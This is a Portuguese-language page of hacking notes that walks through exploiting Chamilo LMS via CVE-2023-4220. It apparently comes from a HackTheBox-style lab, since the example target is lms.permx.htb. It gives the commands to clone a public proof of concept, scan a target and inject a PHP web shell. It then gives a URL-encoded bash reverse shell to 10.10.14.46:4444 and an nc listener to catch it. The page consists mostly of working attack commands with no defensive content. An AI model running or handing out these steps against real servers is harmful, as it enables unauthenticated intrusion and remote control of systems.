> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/chamilo-cms-exploitation.md).
# Chamilo
Notas de exploração do Chamilo LMS para RCE por upload de arquivo sem autenticação na CVE-2023-4220, implantação de web shell em PHP, execução de comandos e acesso via reverse shell.
## Vulnerabilidade Chamilo /\[CVE-2023-4220]
O Chamilo é vulnerável à CVE-2023-4220, que permite execução remota de código (RCE). Use a seguinte prova de conceito pública:
{% embed url="" %}
#### Clone o repositório do GitHub :
```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```
2. Execute uma verificação para confirmar se o alvo é vulnerável:
```bash
python3 main.py -u http://example.com/chamilo -a scan
```
### Webshell:
Se a vulnerabilidade estiver presente, injete um **web shell PHP** no Chamilo:
```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```
Depois que a web shell for injetada, comandos podem ser executados no alvo.
### Shell reversa :
Para estabelecer uma shell reversa e obter acesso à máquina, execute o seguinte comando no seu terminal:
```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```
Em seguida, inicie um listener na porta 4444:
```bash
nc -nlvp 4444
```
---
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